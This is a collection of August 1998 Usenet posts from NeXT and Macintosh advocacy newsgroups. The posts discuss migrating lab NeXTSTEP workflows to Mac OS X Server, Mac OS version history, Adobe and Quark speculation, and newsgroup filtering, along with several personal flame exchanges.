Subject: Re: What we need from Mac OS X
Date: 31 Aug 1998 02:18:34 GMT
Organization: ICGNetcom
Distribution: world
Message-ID: <6sd15q$nt6@news9.noc.netcom.net>
References: <6sccvd$5i@gazette.bcm.tmc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: rick@mft.neusc.bcm.tmc.edu
In <6sccvd$5i@gazette.bcm.tmc.edu> Rick Gray wrote:
> I'm concerned whether the "new" Apple will meet our needs. I have a
> NeXT turbo color at home that connects to the lab via PPP through a
> local ISP. We have several old black NeXTs and Intel machines, all
> running Nextstep 3.3, at the lab. I'm tired of the main discussions
> here being about game speed, $400 differences in price between Apple
> and Microsoft-running Intel machines, and which processors are
> marginally faster. I need comparisons and info for the real work I do
> every day. For example, here's what I've been doing this weekend at
> home:
>
> 1) Used emacs and Omniweb to fix a few bugs in a Perl5 application
> that maintains a WWW-based scheduling calendar for our departmental
> seminar series.
In MacOS X Server you should still have emacs, and most certianly
OmniWeb - with some improvments.
> 2) Worked on data analysis. Used a lab-written program to take image
> data from a Photometrics frame transfer CCD camera and write out 104
> individual ppm files of each frame during a run. These pseudo-color
> data reflect changes in intracelluar calcium with time. Then used
> programs from the netpbm package to merge each of those frames with
an
> image of the cell under study and masked the calcium image to the
> shape of the cell. Used a csh 'foreach' loop to do all of them.
> Another foreach loop rotated all the combined images 90'. Then used
> the "makempeg" shell script to combine the 104 images into a MPEG
> movie. That script used many of the netpbm programs and the 'mpeg'
> program. The end result is a movie of a neuron with the color
> changing with time in different parts of the cell during stimulation.
> (MPEG-making info from
http://www.arc.umn.edu/GVL/Software/mpeg.html).
> Viewed the movie with both Movie.app and MPEG_Play.app. Programs
used
> for all this: netpbm programs (downloaded and compiled with cc),
> Project Builder, several shell scripts, OmniWeb searching to find
some
> of the programs I needed to get off the net, emacs for all editing,
> PixelMagician.app to view intermediate ppm images.
We should know more when CR1 arrives, but a couple of notes.
First netpbm should be portable to CR1. Integer code on the G3
should really fly. Also if you want to run any apps from 3.3 or 4.2
your going to need x86 versions of your apps. If there arn't any
your stuck in 68040 land. Not sure if PixelMagician is bi-FAT
probably is.
> 3) Continued on data analysis working with XY plots of the data.
> Modified a locally-written f77 program (Absoft compiler) to take each
> trace and subtract a background trace. Used 'dm' and 'gas' from
> UNIX|stat and GNU tools to scale data. Plotted data with nxyplot,
> collected several plots as EPS files and added annotation with
> SuperDraw.app.
g77 should be portable though it may cause problems with cc
from CR1. Hopefully this will get ironed out quickly. floating
point code should be as fast on x86 as G3.
> 4) We use LaTeX for manuscript preparation. We also use TiB to
> maintain a lab database of bibliographic references and format the
> citations and bibliographies. This weekend I investigated using
> PubMed as a tool to gather lists of new articles every week. To do
> this I wrote an HTML front end to send requests directly to the
> National Library of Medicine to get current tables of content for a
> list of about 100 scientific journals we follow. Articles desired
are
> then marked, and a list of articles (in Medline format) are
> downloaded. This list is then massaged with Perl to convert it into
> refer format for inclusion in our bibliographic database.
Not sure what will happen to the LaTex applications. I don't use
it so I don't know if they are Bi-Fat or not, or if source is
avialable.
Thing is unless source is available and you want to port it you'll
be stuck with a G3, with a x86 running CR1 there might be some
hope if the apps are bi-fat.
> 5) Rlogin'd to different machines at work to fix a few mail
> configuration files and update aliases for people who have moved.
Shell stuff should always be there - even if not in the base install.
> So, in one weekend I used
> a) emacs for all editing
> b) OmniWeb to find and download program source code off the net and
> test locally-generated HTML code
> c) The plain C compiler and objective C compiler to build programs
> d) lots of command-line and csh-script programs (using pipes
> and redirection)
> e) Perl for text manipulation and generating HTML code on-the-run
> f) a f77 compiler for some numerical analysis (I think fastest in
> fortran for numerical stuff; shows my age, eh?)
> g) the netpbm programs (built from C source; some programs tweaked
for
> our special uses)
> h) make and makefiles
> i) nxyplot for data visualization and saving plots in EPS
> j) SuperDraw to combine EPS files on one page
> k) command-line FTP to move files between home and lab.
> l) GateKeeper to handle PPP connections.
> m) NextMail to send files containing images to co-workers for
> feedback.
> n) Unix networking to log into different machines to update
> configurations.
>
> Other things we need in the lab
> a) We use SafetyNet to back up our files every night from all the
> local machines with NFS-mounted directories
> b) We need to have a good driver kit to write drivers for data
> acquisition hardware (a/d, d/a converters; CCD cameras)
> c) lots of networking; data may be crunched an another machine, then
> displayed on a NeXT. We use NXHost to run some old black-only
apps
> and display on Intel machines.
>
> Nextstep makes all of the above easy. We also have a new SGI in the
> lab; it's fast as hell for straight number crunching, but just not as
> easy to use for things like the above. X looks bad compared to the
> Next window manager and display. Next services and universal
cut&paste
> make things so easy. I guess I use about 75% general Unix
> command-line tools and 25% point&click apps; the proportions are
> opposite for most in the lab and closer to 98% point&click for the
> rest. Nextstep makes up all happy, regardless of our usage styles.
>
> If MacOS X will let us do all of the above, we'll likely go with
> Apples to replace our aging NeXTstep-running machines. If not it'll
> be really hard to decide between NT, Linux, SGI, or a bullet in the
> head.
>
I would say that Apple G3's won't be able to cover everything you'll
want to be doing, certianly not with the same applications unless some
ports happen. More likely you'll get replacements that won't be
compatible
with the old versions. The best way to deal with moving up would be
to
get a x86 PC and run CR1 on it. Then hope that indeed old NeXTstep
or Openstep apps will run on CR1 (this won't happen w/o some minor
non-standard hacking).
Start with a PC running CR1 then see what happens. You really can't
lose. BTW SGI is going the way of NT. Linux is a whole different ball
of wax but it still runs on x86 also so getting x86 still leaves your
choices
open. SGI's are getting really cheap IMO. Check out the Indigo2's
if your looking for a bargain.
Randy
--
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: a prediction
Date: 31 Aug 1998 17:37:45 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6sen19$990@newsb.netnews.att.com>
Originator: gupta@tlctest
PC Week at http://www.zdnet.com/pcweek/reviews/0831/31biz.html
has given NT 5.0 beta 2 a glowing review.
It is interesting to compare this with InfoWorld's review at
http://www.infoworld.com/cgi-bin/displayTC.pl?/reviews/980831winntserver.htm
-arun gupta
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Date: 31 Aug 1998 17:44:58 GMT
Organization: Michigan State University
Message-ID: <6seneq$ri0$2@msunews.cl.msu.edu>
References: <35eaaf53.0@news.depaul.edu> <6seekg$aos$1@news.spacelab.net>
<6seghe$aue$1@sun27.hrz.tu-darmstadt.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: neuss.@informatik.th-darmstadt.de.nos-pam
In <6seghe$aue$1@sun27.hrz.tu-darmstadt.de> Christian Neuss wrote:
> "Charles W. Swiger" <chuck@codefab.com> wrote:
> >Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> >>Does anyone else think CSNA has outlived its usefulness?
> >
> >Nope. Although .advocacy doesn't keep _all_ of the noise out of the
rest of
> >comp.sys.next, without it the other groups would be much worse.
>
> Amen. :-)
>
> We oldtimers might however decide to move to another place without
> the 'a' word, such as comp.sys.next.nostalgia, and talk about
> the good old times when somebody smuggled a SEF image into a
> Newsgrazer binary. Maybe Lawson will come along and we have the
> occasional little flamefest, that would be fun - at least his
> postings were always on topic.
>
> (What we really need is a distributed cooperative filter
> mechanism though. If you are interested, drop me a line,
> or post in .programmer or .misc)
>
Well there is noise all over the place. What would be cool is a nice
little
feature for news browsers. This feature would allow one to either
create
your own list or subscribe to a publically available one that would
'prioritize'
posters..
For instance I very much value Don Yacktman, Scott Anguish, Charles
Swinger,
Mike Paquette, Tim Luoma, Scott Hess, John Kheit (though he's been
really
down on Apple lately in c.s.n.a), Greg Anderson, Andrew Stone, etc. So
I'd
want to prioritize them near the top. Lawson, and others near the
bottom. New
guys in the middle. That way when I start up my browser or access a
group
then I'll have at the top the peoples posts I really want to read and
the garbage
at the bottom.
I think it could be done based on return addresses (bogus or not), with
features to
prioritize posts based on various criteria in the headers (organization
it came from
domain to reply to etc.). All we'd need is a little button or panel to
allow us (if we
choose) to prioritize a particular individual when looking at one of
their posts. Set
a preference for ones you read but don't set a priority for (that way
you won't
have to be setting priorities on everything you read - this would be
annoying).
Now that would be useful. Ah another good idea into the internet
void..
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 31 Aug 1998 10:54:21 -0700
Organization: Graves Associates
Message-ID: <gmgraves-3108981054210001@sf-usr1-60-188.dialup.slip.net>
References: <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net> <35d73727.75437413@news.iafrica.com> <Pine.SOL.3.94.980820183426.21510D-100000@droid.fit.qut.edu.au> <35e31cbb.7905136@news.calweb.com> <35E6E0CD.482C@howard.genetics.utah.edu> <35EABDE4.F9825E4F@starvision.com> <35EA85BF.36E8@howard.genetics.utah.edu>
In article <35EA85BF.36E8@howard.genetics.utah.edu>, Patrick O'Neil
<patrick@howard.genetics.utah.edu> wrote:
> Brian Oberquell wrote:
> >
> > Patrick --
> >
> > I agree that not all computers have Zip drives, but where are you buying Zip
> > disks for $50? Even up here in Canada, home of the dying loonie, I can get
> > them for around $20 each...
>
> I may have underestimated...I haven't bought zip disks for
> several weeks and do not recall the price but I don't think
> I was far off - I bought a 2 pak which would fit in with
> the $20 each.
>
> patrick
Mail order, they are commonly available, in 10 packs, for around $10
each.
George Graves
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Cheap ? or typo ?
Date: Mon, 31 Aug 1998 12:54:18 -0500
Organization: Ericsson North America Inc.
Message-ID: <35EAE34A.42424984@ericsson.com>
References: <6semj4$95d@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
> Should that be $100 and $200 ? Or are PC makers really that
> cheap ?
I would tend to believe that it's $10 to $20. $10 would make it an
expensive part of the motherboard, considering the oodles of other
specifications which are neccesary to support. Note that the $10 to $20
figure is cost to the OEM, which is a serious matter. As low as margins
have become, passing $10 through the cost chain can be like passing a
kidneystone.
Still, I agree that it's unfortunate. IEEE 1394 support would be nice,
but if enthusiasm for the standard has been as low as I've heard, I'm
not surprised.
MJP
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Date: 31 Aug 1998 17:56:27 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6seo4b$m85@shelob.afs.com>
References: <6seneq$ri0$2@msunews.cl.msu.edu>
spammers@ruin.the.internet.channelu.com writes
> I very much value Don Yacktman, Scott Anguish, Charles Swinger
^^^^^^^
Secret's out, Chuck. Hope your SO doesn't read this group. 8^)
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Mon, 31 Aug 1998 11:14:54 -0700
Organization: Graves Associates
Message-ID: <gmgraves-3108981114540001@sf-usr1-60-188.dialup.slip.net>
References: <gmgraves-2308981641410001@sf-usr1-42-170.dialup.slip.net> <35E1E5BD.573CEBAB@ericsson.com> <6rt08j$pfk@newsb.netnews.att.com> <35E42FDC.EA1CA4BA@ericsson.com> <6s1nq7$9mj@newsb.netnews.att.com> <gmgraves-2708981106590001@sf-usr1-38-166.dialup.slip.net> <35E5ADA7.E0EE0B35@ericsson.com> <gmgraves-2708981444590001@sf-usr1-9-137.dialup.slip.net> <35E5DE46.66B6062A@ericsson.com> <gmgraves-2808980953500001@sf-usr1-47-175.dialup.slip.net> <35E6F810.E4B8D01F@ericsson.com> <gmgraves-2908981155230001@sf-pm5-10-74.dialup.slip.net> <35EAD0A2.78F8E0AA@ericsson.com>
In article <35EAD0A2.78F8E0AA@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> George Graves wrote:
>
> > 1) We have no way of knowing whether your observations are real or
made-up for
> > the purpose of trolling.
>
> You don't seem to understand. I don't particularly care about the effect
> of my words on you at this point; I might have cared, once, but
> demonstrating professional-level skepticism about anything contradictory
> to your ideological committment doesn't endear the debate to me.
No, its you who don't seem to understand. This is a Mac advocacy group.
If you want to bum-rap the Mac, you need facts, not your quaint personal
anecdotes. They are not evidence, they are at odds with reality, and
frankly they say far more about you than they do about me or anyone else
who advocates the Mac here.
>
> If you please, it's really none of your business anymore. Continual
> anger, resentment, and personal attacks over any commentary I might make
> are the hallmarks of your postings to this group nowadays.
I rarely personally attack people. I might call someone a dope or an
idiot every now and again when they become particularly obstinate
and I lose patience with them. I might even be abusive occasionally
when I feel it is warranted (for instance when someone attacks me
first) A quick
> review of DejaNews over the last two years, in fact, reveals that this
> has been your pattern toward nearly every person here for quite a long
> time.
I have little patience with PC trolls.
I couldn't believe some of the remarks I discovered you'd made,
> apparently without a second thought. Many of these came at a time when I
> thought I agreed with you. Sad.
I'm sure that I have made comments that on second reading, I regret
making. Its not called the "heat of battle" for nothing. But then, I
suspect the same can be said of many who post in newsgroups everywhere.
>
> Which is not to hold myself blameless in this regard; I'm simply making
> the observation that you and I have little in common anymore, either in
> thought or in deed. I didn't come looking for you, Graves.
Good, then do yourself and me a favor. Don't post to CSMA anymore. Then
you will be assured of not encountering me. Believe me, it would be a
real joy for me to be responsible for the demise (on this NG) of one more
anti-Mac troll.
>
> > 2) That your experiences with the Mac and the Mac OS do not jibe with the
> > experiences
> > that I and other Mac advocates have had with similar hardware using
the Mac OS.
>
> Yes, and "Mac advocates" is really the key phrase, isn't it?
As in "people with a lot of experience with Macs", yes.
>
> > In light of the two above facts, I would have to say that your
> > observations are highly
> > suspect and definitely open to question.
>
> Please yourself. I don't need to drag you kicking and screaming into the
> light of reality. Please, oh please, anything but that.
And who is going to drag you there first? You have to be there yourself
before you can drag anyone else, you know.
George Graves
>
> MJP
From: blewis@cablestogo.com (blewis)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Mon, 31 Aug 1998 14:24:50 -0400
Organization: CTG
Message-ID: <blewis-3108981424500001@207.90.74.235>
References: <smileyy-3108981108300001@192.168.0.2> <B2102A91-15847@206.165.43.152>
In article <B2102A91-15847@206.165.43.152>, "Lawson English"
<english@primenet.com> wrote:
> >Copland was neither on time, nor ever released. Mac OS 8 was released on
> >time, with the feature set designated for it.
> >
> >Andrew McCormick
>
>
>
> Actually, MacOS 8 was originally System 7.6 and it wasn't even scheduled to
> be released or even had a firm feature set until they got around to
> deciding what to do with System 7.x after the NeXT purchase.
>
Actually, MacOS 8 was originally System 7.7. 7.6 - Harmony was released
about eight months earlier. Tempo - 7.7 then 8.0.
> And even the [non-Copland] MacOS 8 that you are talking about was lacking a
> few features scheduled for the MacOS 8 that you are talking about. Those
> were released in the free upgrade, MacOS 8.1
>
> ----------------------------------------------------------------------
> Want Apple to license Cyberdog for third-party development? Go to:
> <http://www.pcsincnet.com/petition.html>
> ----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: 31 Aug 98 11:42:52 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B2103CC1-59E68@206.165.43.152>
References: <blewis-3108981424500001@207.90.74.235>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.next.advocacy
blewis <blewis@cablestogo.com>
[snipt]
>
>Actually, MacOS 8 was originally System 7.7. 7.6 - Harmony was released
>about eight months earlier. Tempo - 7.7 then 8.0.
That's right. Thanks.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Mon, 31 Aug 1998 14:54:38 +0000
Organization: BM
Message-ID: <6ser4k$21j$1@ash.prod.itd.earthlink.net>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>
<rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu>
<rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<6s5knl$96$1@ash.prod.itd.earthlink.net>
<rmcassid-2808981005530001@hephaestus.eng.uci.edu>
<6s7oei$1el$1@oak.prod.itd.earthlink.net>
<rmcassid-2808982302000001@hephaestus.eng.uci.edu>
<6samgn$6f7$1@holly.prod.itd.earthlink.net>
<rmcassid-3108980032370001@dialin9062.slip.uci.edu>
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rmcassid@uci.edu (Robert Cassidy) wrote:
>That's an excellent point. I would actually look at a product like
>Photoshop and decide 'well, we don't need our own colorpickers. We'll just
>use the ones in the OS. And we don't need our own scripting language,
>we'll use the one in the OS.' Apple starts streamlining a lot of these
>apps (like MS does) and at the same time builds in distinct advantages.
>The burden for parity falls on MS.
Yes, but I thought you were arguing that Apple wouldn't mess with the Windows
versions of its apps, if it acquired Adobe.
Photoshop Actions is there simply because Adobe did NOT want to use MacOS-only
AppleScript. Exposing Actions completely to OSA architecture would open up many
interesting scripting and integration possibilities, as you suggest. But then
what do they do for their Windows versions? Not have Actions? Same with
ColorSync; same with QT, etc.
This is exactly why I keep saying that I see no way to tightly integrate apps
with an OS *and* have xplatform version of same quality and capability. The only
way is to dumb them down *or* port the extra layers to the other OS -- at which
point you lose your distinct OS advantage. While MS maybe able to afford this
due its sheer dominance, Apple cannot.
So, I say, keep the family jewels in the family, lest you lose the family!
Ziya Oz
From: OWSCR@hotmail.com
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX (Why Microfilth never release on time)
Date: Mon, 31 Aug 1998 20:42:22 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6sf1rf$8s2$1@nnrp1.dejanews.com>
References: <6sccvd$5i@gazette.bcm.tmc.edu> <35e9f6f2.18392599@nntp.erinet.com> <tZsG1.3217$r1.2965200@newsfeed.slurp.net> <tapella-3108981355010001@22w2-1.dyn.pasteur.fr> <6sedab$854@newsb.netnews.att.com>
They don't release on time, cause they're stuff reeks of shit.
It is slow, buggy and nearly always a disapointment.
They don't release on time, so they can keep vapour-waring the competition.
OS/2 and NT?
Ring any bells?
In article <6sedab$854@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
>
> >> 2.) MS does not allways release it's products on time, because MS insists on
> >> "finishing" it's products before they hit the shelves.
>
> Utter BS. Show us one, just one, OS release Microsoft has done after 1994,
> that was feature-complete (i.e., it had all the features talked about in
> the myriads of Microsoft press releases before the actual release).
>
> -arun gupta
>
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Date: Mon, 31 Aug 1998 16:52:19 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Message-ID: <joe.ragosta-3108981652190001@0.0.0.0>
References: <35eaaf53.0@news.depaul.edu> <6seekg$aos$1@news.spacelab.net> <6seghe$aue$1@sun27.hrz.tu-darmstadt.de> <6ses8n$1rq$1@nnrp1.dejanews.com>
In article <6ses8n$1rq$1@nnrp1.dejanews.com>, spagiola@my-dejanews.com wrote:
>neuss.nos-pam@informatik.th-darmstadt.de.nos-pam wrote:
>> We oldtimers might however decide to move to another place without
>> the 'a' word, such as comp.sys.next.nostalgia, and talk about
>> the good old times when somebody smuggled a SEF image into a
>> Newsgrazer binary. ...
>> (What we really need is a distributed cooperative filter
>> mechanism though. If you are interested, drop me a line,
>> or post in .programmer or .misc)
>
>If we just had a filter that threw out any message in which the word 'NeXT'
>wasn't capitalized exactly that way, it should keep all but the old-timers out
>quite effectively.
Cool. And eliminating all the messages about "MAC" computers on
comp.sys.mac.advocacy would do the same thing.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at:
http://www.taylor-design.com/cMacindex.html
From: Jason.Rusoff@eng.efi.com (Jason Rusoff)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Claris apps and YB (Was Re: Heidi Roizen)
Date: Mon, 31 Aug 1998 14:13:19 -0700
Organization: InterNex Information Services 1-800-595-3333
Message-ID: <1demo37.4f32c514uqz4yN@4dhcp245.eng.efi.com>
References: <B20DCE84-5F9B3@206.165.43.126> <derobert-3008982224150001@207-172-119-96.s96.tnt2.brd.erols.com>
Anthony DeRobertis <derobert@erols.com> wrote:
> In article <B20DCE84-5F9B3@206.165.43.126>, "Lawson English"
> <english@primenet.com> wrote:
>
> QuickDraw wil need to be modified to be PMT-safe. Next question, please!
Was I the only one who was at the WWDC and saw the talk on OSX' new
imaging model? They went over all of this in quite alot of detail. They
are rewriting QD,and the window manager. It will be fixed(or floating?)
point based to allow a better imaging model, but I don't think they are
planning to borrow much from GX. And yes, they are getting rid of the QD
globals. And the fact that Quicktime can make all of this imaging stuff
work in a modern OS does matter quite alot, because alot of the work
that the QT team did will be used in OSX. I think they should really
call it the QTOS. Quicktime has ported alot of the mac OS to windows and
then to Next. So I bet that jobs realized that they could use much of
that port to build Mac OS APIs for Next. And that's OS X. Keep
everything that everyone likes (and programmers already understand!)
about the mac os, and give it the underpinnings of a modern OS. Makes
sense to me.
Jason Rusoff
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Date: 31 Aug 1998 22:33:13 GMT
Organization: Primenet (602)416-7000
Message-ID: <6sf8b9$3cb$1@nnrp02.primenet.com>
References: <6seneq$ri0$2@msunews.cl.msu.edu> <6seo4b$m85@shelob.afs.com> <6sf3f2$l87$1@news.spacelab.net>
Charles W. Swiger <chuck@codefab.com> wrote:
: Greg_Anderson@afs.com (Gregory H. Anderson) wrote:
: >spammers@ruin.the.internet.channelu.com writes
: >> I very much value Don Yacktman, Scott Anguish, Charles Swinger
: > ^^^^^^^
: >Secret's out, Chuck. Hope your SO doesn't read this group. 8^)
: Psshaw! Greg, you're just jealous because nobody's managed to creatively
: misspell your last name (yet!)....
Fun with anagrams (http://www.ssynth.co.uk/~gay/anagram.html):
Gregory H. Anderson: Danger Horny Gorse
Charles W. Swiger: Screw Large Wish
John
Newsgroups: comp.os.mac.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Fwd: EvangeList Digest V1 #1262
From: guess@it.spammer (Cybernaught)
Message-ID: <1delj7f.104nzc1p3802oN@pppsl919.chicagonet.net>
References: <1defsc4.uzig3q12y8v3cN@pppsl910.chicagonet.net> <macghod-2708982236340001@sdn-ar-002casbarp139.dialsprint.net> <1dehyy2.1gd9lbb1uwfz7uN@pppsl847.chicagonet.net> <6sa8av$ste$1@nnrp1.dejanews.com> <macghod-2908981930370001@sdn-ar-001casbarp054.dialsprint.net> <1dejlo1.1ucpyxt1miqtlnN@pppsl915.chicagonet.net> <macghod-2908982205030001@sdn-ar-002casbarp325.dialsprint.net> <1dejyff.11zbs961vkhwxzN@pppsl915.chicagonet.net> <macghod-3008980149260001@sdn-ar-001casbarp311.dialsprint.net> <1dek40w.88i404hpejkpN@pppsl915.chicagonet.net> <macghod-3008981003030001@sdn-ar-002casbarp192.dialsprint.net> <1deks9k.4bpk3ydlwtkgN@pppsl944.chicagonet.net> <macghod-3008981331420001@sdn-ar-002casbarp281.dialsprint.net>
NNTP-Posting-Date: Mon, 31 Aug 1998 00:07:07 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 30 Aug 1998 23:06:17 -0600
Steve Sullivan <macghod@concentric.net> wrote:
> In article <1deks9k.4bpk3ydlwtkgN@pppsl944.chicagonet.net>,
> guess@it.spammer (Cybernaught) wrote:
>
> > > > > Except for the fact that
> > > > > 1) I DONT live in washington (DUH!!)
> > > > > 2) I wasnt fired from apple.
> > > > >
> > > > > SO I guess he did nail me, except for the fact that everything he
> said was
> > > > > false
> > > >
> > > > So traceroute lies, is that it? You've been nailed. You can't dance
> > > > your way out of this.
> > >
> > > Ok, please explain to us how traceroute would give what city and state I
> > > am in? I have nothing against the state of washington, I have been through
> > > oregon and washington once or twice in my life and it is beautiful. The
> > > only thing is I have never lived in washington :P
> >
> > No, I won't explain. It can give you that information, but it's better
> > to keep you ignorant of how, so you can't cover yourself. You've been
> > nailed.
>
> You are such an Idiot. You "nailed me" that I live in "washington"? I
> bet you have no clue what the F you are talking about, and that is why you
> wont explain. You wont explain because you have no clue what you are
> talking about.
Your anger says it all. You've been nailed. Let's not forget what
else Jay mentioned. You're a fired Apple contractor. Why did Apple
fire you?
>
>
> > >
> > > Where I live is no secret, I have given the name of the local paper here
> > > in a post. It was in the first post of the thread apple mindshare
> > > skyrocketing.
> >
> > You know the name of a newspaper, so that proves where you live?
> > Newspapers are on-line now, and you could always get them mailed to you.
> > Nice try, but you're still nailed.
> >
> > >
> > > You have no clue what you are talking about Edwin E THorne
> >
> > You're giving me yet another name? Okay, fine by me. You're still
> > nailed.
>
> I am nailed of what?
You're nailed of being a fired Apple contractor who's posting under
false pretenses to disguise himself.
> Oh, and please tell me what city I live in in
> washington. Either you or Jay Riley can answer this. Anyone notice how
> Jay Riley Hasnt apologized for the untruths he has told about me?
I would take that to mean that he has nothing to apologize for.
>
> Maybe some of our Next friends can explain to me how traceroute would say
> I live in washington.
Maybe some of your "Next friends" can explain why you've been
cross-posting this to their group.
> Oh, ps Edwin, you win. I now find it pointless to talk to you so I am
> killfiling you.
Ha, ha, ha. He turns tail and runs. Bye, bye, coward. Can anyone
else let us know why Apple fired him?
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Server Strategy and Publishing OS (was: Re: Quark==Adobe
buyout - opinion)
Date: Mon, 31 Aug 1998 00:08:49 +0000
Organization: BM
Message-ID: <6sd77o$q3v$1@holly.prod.itd.earthlink.net>
References: <1_NE1.1474$MS.2757093@news.rdc1.sdca.home.com>
<rmcassid-2608981351410001@hephaestus.eng.uci.edu>
<6s2f73$dv7$1@msunews.cl.msu.edu>
<rmcassid-2708981116090001@hephaestus.eng.uci.edu>
<NlHF1.2552$MS.4447426@news.rdc1.sdca.home.com>
<rmcassid-2808982317070001@hephaestus.eng.uci.edu>
<1r2G1.2682$MS.5242108@news.rdc1.sdca.home.com>
<rmcassid-2908982059360001@dialin9116.slip.uci.edu>
<vK4G1.2694$MS.5311950@news.rdc1.sdca.home.com>
<forrestDELETE-THIS!-2908982245040001@term1-20.vta.west.net>
Mime-Version: 1.0
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>SMP is coming in Mac OS X (the full version, not Server).
Do you have any written, unambiguous reference that:
- SMP will be in MacOS X, and
- it'll be in the first release?
Ziya Oz
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Date: 31 Aug 1998 23:54:21 GMT
Organization: Michigan State University
Message-ID: <6sfd3d$adq$2@msunews.cl.msu.edu>
References: <6seneq$ri0$2@msunews.cl.msu.edu> <6seo4b$m85@shelob.afs.com>
<6sf3f2$l87$1@news.spacelab.net>
Mime-Version: 1.0
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Cc: chuck@codefab.com
In <6sf3f2$l87$1@news.spacelab.net> "Charles W. Swiger" wrote:
> Greg_Anderson@afs.com (Gregory H. Anderson) wrote:
> >spammers@ruin.the.internet.channelu.com writes
> >> I very much value Don Yacktman, Scott Anguish, Charles Swinger
> > ^^^^^^^
> >Secret's out, Chuck. Hope your SO doesn't read this group. 8^)
>
> Psshaw! Greg, you're just jealous because nobody's managed to
creatively
> misspell your last name (yet!)....
>
Yeah well you should hear people try to pronounce Rencsok. You can't
imagine
what people will come up with when they try to add a consonant sound
that doen't quite fit
in the middle of something that just works by itself.
Forget spelling .. :)
Randy
rencsok at
channelu dot com
argus dot cem dot msu dot edu
spammers works also :)
Randy Rencsok General UNIX, NeXTStep, IRIX Admining,
Turbo Software Consulting, Programming, etc.)
From: spammers@ruin.the.internet.channelu.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: CSNA dead?
Date: 1 Sep 1998 00:02:15 GMT
Organization: Michigan State University
Message-ID: <6sfdi7$adq$3@msunews.cl.msu.edu>
References: <35eaaf53.0@news.depaul.edu> <6seekg$aos$1@news.spacelab.net>
<6seodd$rg0$1@nnrp1.dejanews.com>
Mime-Version: 1.0
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Cc: spagiola@my-dejanews.com
